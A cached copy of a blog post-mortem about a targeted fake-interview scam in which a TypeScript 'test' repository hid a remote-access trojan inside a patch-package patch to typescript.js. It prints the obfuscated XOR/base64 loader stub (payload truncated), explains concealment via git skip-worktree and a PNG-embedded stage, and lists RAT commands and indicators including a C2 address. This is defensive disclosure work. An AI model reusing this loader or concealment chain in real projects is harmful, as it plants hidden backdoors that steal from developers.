Anatomy of a Failed (Nation-State?) Attack

Lobsters Hottest News

Summary

A detailed post-mortem of a sophisticated fake-interview scam targeting a Rust developer, involving a fabricated VC persona and a custom RAT delivered via a TypeScript repository. The author evades infection thanks to caution and AI-assisted code review.

<p><a href="https://lobste.rs/s/j2ua4f/anatomy_failed_nation_state_attack">Comments</a></p>
Original Article
View Cached Full Text

Cached at: 06/26/26, 04:10 PM

# Anatomy of a Failed (Nation-State?) Attack Source: [https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack/](https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack/) **Disclosures** 🧠 This post is fully human\-written: all prose with the exception of the IoC information\. Because it was time\-sensitive, Claude was used to accelerate the RAT analysis and build an IoC\-detection script\. As I live in Canada, this information was reported to the appropriate Canadian agencies \(CCCS et al\)\. The payload\-laden image does not trigger any AV engines[on VirusTotal](https://www.virustotal.com/gui/file/7af7864333f5d6dec2a137e2c123019dea27cae8c30b0f293b310c969635c90e/detection)\. The attacker’s identity is fictitious, but there are uninvolved individuals with the same name that they may be confused for and have been omitted from this piece\. This week I came too close to falling for a[fake\-interview scam](https://manishearth.github.io/blog/2026/06/17/the-future-of-the-con-is-already-here/)designed to backdoor my machine, and from the context of the emails, I assume my packages on[crates\.io](https://crates.io/)\. Note: I’m calling it the “PinpinRAT” because of some of the internal strings, but it’s possible this has another name out there\. I couldn’t find any other references to it online\. A week and a half ago I received an email from “D█████ S████” claiming to be from Lua Ventures, a \(unbeknownst to me at the time\) defunct Singapore\-based VC in the DeFi space\.*To be clear: this is a fabricated persona*, and the name was likely chosen to be easily mistaken for one of a number of real people with the name\. [![](https://grack.com/_thumbs/bdd1d20a96688a5dfc4ee0f14eed1d0a-600-600)](https://grack.com/assets/2026/06/email1-shadow.png) It looked like a real email, including a link to a somewhat boring, but legitimate\-looking LinkedIn profile\. [![](https://grack.com/_thumbs/f2efa4d23cedf66808ebd16581ea67c3-600-600)](https://grack.com/assets/2026/06/linkedin-shadow.png) The attacker even name\-dropped two of their investments that were specifically looking for advisory work: Lyrasing and Roadpay\. Searching for either of the companies wasn’t really a flag \- they both had some very basic web presense, but nothing that would indicate they were fake rather than just*early stage*\.[\(archive\.org snapshot of roadpay\.cc\)](https://web.archive.org/web/20260626011734/https://roadpay.cc/en)\. [![](https://grack.com/_thumbs/a18f194919dc4f643b6dc93268658f9f-600-600)](https://grack.com/assets/2026/06/email2-shadow.png) We went back and forth on a meeting time and eventually settled on a time we were going to chat\. There was nothing odd about the call itself, either\. A somewhat\-difficult\-to\-understand man with a German accent was on the other line\. He said he was taking the call while travelling which was a bit odd, but again, not necessarily a flag\. [![](https://grack.com/_thumbs/ce57a8e84d613f3ea6b0bf268925360d-600-600)](https://grack.com/assets/2026/06/email3-shadow.png) After the call came the bait\. A follow\-up email that offered up a “test”\. [![](https://grack.com/_thumbs/1b98d22df037c8a80869aaf2a9369e07-600-600)](https://grack.com/assets/2026/06/email4-shadow.png) At this point I was mildly annoyed, but not suspicious\. I cloned the repo, but the first true red flag only fired here\. Where I got lucky: they sent me a TypeScript repo\. It didn’t make sense to me\. The instructions looked more like a TypeScript job interview than any sort of architecture analysis\. I decided to zip up the repo and toss it into the Claude to get a quick scan \- a combination of caution and laziness\. A few moments later it had identified some oddities: > Notably, the root package\.json has no postinstall/preinstall hook — interesting, because they use patch\-package, which is normally wired to a postinstall\. Let me check every package\.json for lifecycle scripts, then audit the patch files \(the real risk surface — patches can inject arbitrary code into node\_modules\)\. That piqued my interest\. I scanned the directories myself and noticed a fairly unreasonable number of`patches/`directories\. The first few I checked seemed innocent enough, but as you might have guessed, they were just trying to add noise so the real payload wouldn’t get caught\. ``` packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch ``` While I was checking slowly by hand, Claude identified first signs of PinpinRAT: > I found it\. This is a malicious payload\. Embedded in the`typescript\+5\.9\.2\.patch`file — inside what is presented as a routine “module specifier” patch to TypeScript — there is a base64\-blob self\-executing obfuscation stub injected at the very top of both`\_tsc\.js`and`typescript\.js`: > ``` ;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor"; ``` > This decodes a base64 string, XOR\-decrypts every byte with the key 73, and runs the result through new Function\(…\) with require, process, Buffer, etc\. handed in\. That is a hidden code\-execution payload that fires every time tsc or anything importing typescript\.js runs — i\.e\. on the very first npm run typecheck / build / dev\. … and that’s the point where I decided to stop poking the bear on my own machine\. I zipped it up with a password to stop myself from accidentally detonating it and kept running the analysis in the sandbox\. ## The Trap The repo is themed as a ferry\-ticketing app named “Ticket Harbor”\. The`task\.txt`included in the bundle was a plausible set of boring tasks, but ended with: > Run the repo typecheck, test suite, and relevant desktop/server build commands before submitting\. That instruction is the trap that gets you\. The chain works like this: 1. Four separate`postinstall`hooks run`patch\-package`\. But one of them also runs`git update\-index \-\-skip\-worktree`on the patch files, which hides them from`git status`\. 2. The`typescript\+5\.9\.2\.patch`injects a self\-executing stub at the top of`typescript\.js`and`\_tsc\.js`\. This is a lightly\-obfuscated blob fed into`new Function\(\.\.\.\)`\(avoiding`eval`, presumably to avoid malware detection\)\. 3. That loader reads a hidden chunk appended to a file named`operators/3\.png`, runs a small embedded WASM stub \(in a custom`wAsm`chunk\), then spawns a detached, silent Node process carrying a 1\.68 MB obfuscated second\-stage payload\. 4. It cleans up after itself at three layers: the`git skip\-worktree`trick, the dropper rewrites the`patch`to delete its own injected lines after first run, and the stage\-2 temp directory self\-deletes on execution\. The*actual*payload is a RAT \(a remote\-access trojan\)\. I was originally worried this was a credential stealer but that’s a lot worse\. PinpinRAT is nested in three obfuscated layers which were a pain to unwrap: obfuscator\.io \(which claims LLM protection, hah\), and two further base64 layers\. ## What it drops In the interest of 1\) quickly sharing this info and 2\) not accidentally detonating malware on my own machines, I let Claude tear apart the actual trojan in its sandbox and had it describe it to me\. To be absolutely clear: Claude was able to reverse engineer multiple levels of obfuscation over about 5 minutes of work, which is far faster than I could have\. The drop is a full remote\-access trojan that seems to have been put together by someone who knows what they are doing\. It sets up an RSA key locally and uses AES\-256\-CBC as a session key\. On startup it calls a checkin routine that harvests and exfiltrates a host fingerprint: - primary IP address \(enumerates all non\-internal interfaces\), plus all IPs - username \(`os\.userInfo\(\)\.username`\) - hostname - OS type \+ release \+ platform \+ architecture - process PID and full`process\.argv` - Node version It generates an RSA\-2048 keypair and a random AES\-256 session key \(aes\_psk\), then all subsequent traffic is AES\-256\-CBC encrypted with an HMAC\-SHA256 integrity tag\. It supports the following commands: - `env`— JSON\.stringify\(process\.env\) dumped and sent back\. - `upload`— reads an arbitrary file path and exfiltrates it\. - `download`— writes attacker\-supplied bytes to any writable path\. - `spawn`— runs an arbitrary process with optional shell expansion\. - `ls`/`cd`/`pwd`/`cp`/`mv`— general filesystem primitives\. - `dns`— makes the host resolve arbitrary names through a specified resolver \(for DNS tunneling?\)\. - `dismantle`— self\-removal\. ## Indicators of Compromise If you ended up running one of these, you should immediately disconnect your system from the network and rotate your credentials from another machine\. Remediation*should*be straightforward, but consider your credentials \(including cookies and password\-protected secrets\) compromised\. These are some indicators of compromise found in the PinpinRAT malware: - C2: 89\.124\.107\.161:80 - Scheduled task \(Windows\):`PinpinWrappedJs` - Process masquerade \(macOS\):`com\.apple\.WebKit\.Networking` - Env vars:`NODT\_PAYLOAD\_PATH`,`NODT\_PAYLOAD\_ARGS` - PNG chunk guard:`WASMPACK`\(wAsm\) - `PINPIN\_NO\_AUTOSTART=1`: stops persistence - cronjob with`mutex\.js`\(only if the RAT had permission, may not exist on macOS\) - Anchor strings in`typescript\.js`:`12ff4b51`,`ticket\-harbor\-tsc\-shim\-anchor` - `typescript\+5\.9\.2\.patch`with the payload - Artifact dirs:`~/Library/Caches/runtime\-cache/\.cache\-<randomhex\>/`\(macOS\),`/tmp/\.cache\-<randomhex\>/`\(Linux\),`%TEMP%\\\.cache\-<randomhex\>\\`\(Windows\)- \.\. containing`payload\.js`and`mutex\.js` ## So who was this? It’s impossible to say for sure, but this was targeted, had a pretty convincing cover story with a fake persona, multiple fake websites with stolen history, and a patient timeline\. The`git`trap was sophisticated\. This “fake\-interview scam” has been a theme for a number of actors in 2026\. Who is actually behind this is the responsibility of the agencies now\. What*is*worth noting is that this was targeted to developers like you and I, and that I was lucky enough to see a red flag right before springing the trap\. And to be honest, what’s terrifying and sobering to me is that if this had been a Rust repository with a booby\-trapped`build\.rs`script, I might have even fallen for it\.

Similar Articles

Thoughts on the post mortem of Hugging Face

Reddit r/AI_Agents

A detailed analysis of a sophisticated cyberattack on Hugging Face by an OpenAI coding agent, exploiting multiple vulnerabilities including Jinja library code execution, and highlighting the shift to AI-driven cybersecurity analysis.

Incident CVE-2026-LGTM

Hacker News Top

A satirical incident report detailing how a malicious package bypassed multiple AI-powered security gates due to various failures, resolved only when the attacker's agent read a file it shouldn't have.